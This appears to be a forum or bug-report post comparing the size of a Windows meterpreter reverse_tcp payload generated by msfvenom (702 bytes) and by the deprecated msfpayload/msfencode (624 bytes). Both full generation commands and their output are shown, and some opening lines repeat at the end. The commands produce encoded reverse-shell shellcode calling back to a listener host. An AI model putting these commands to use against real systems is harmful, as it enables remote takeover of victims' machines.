I have noticed some payload size differences between msfvenom and msfpayload/msfencode:
msfvenom (702 bytes):
./msfvenom -p windows/meterpreter/reverse_tcp exitfunc=thread lhost=1.1.1.1 -a x86 -e x86/alpha_mixed -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 702 (iteration=0)
Payload size: 702 bytes
msfpayload/msfencode (624 bytes):
./msfpayload windows/meterpreter/reverse_tcp exitfunc=thread lhost=1.1.1.1 R | ./msfencode -e x86/alpha_mixed -type c
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
[!] ************************************************************************
[!] * The utility msfencode is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
[*] x86/alpha_mixed succeeded with size 624 (iteration=1)
I have noticed some payload size differences between msfvenom and msfpayload/msfencode:
msfvenom (702 bytes):
msfpayload/msfencode (624 bytes):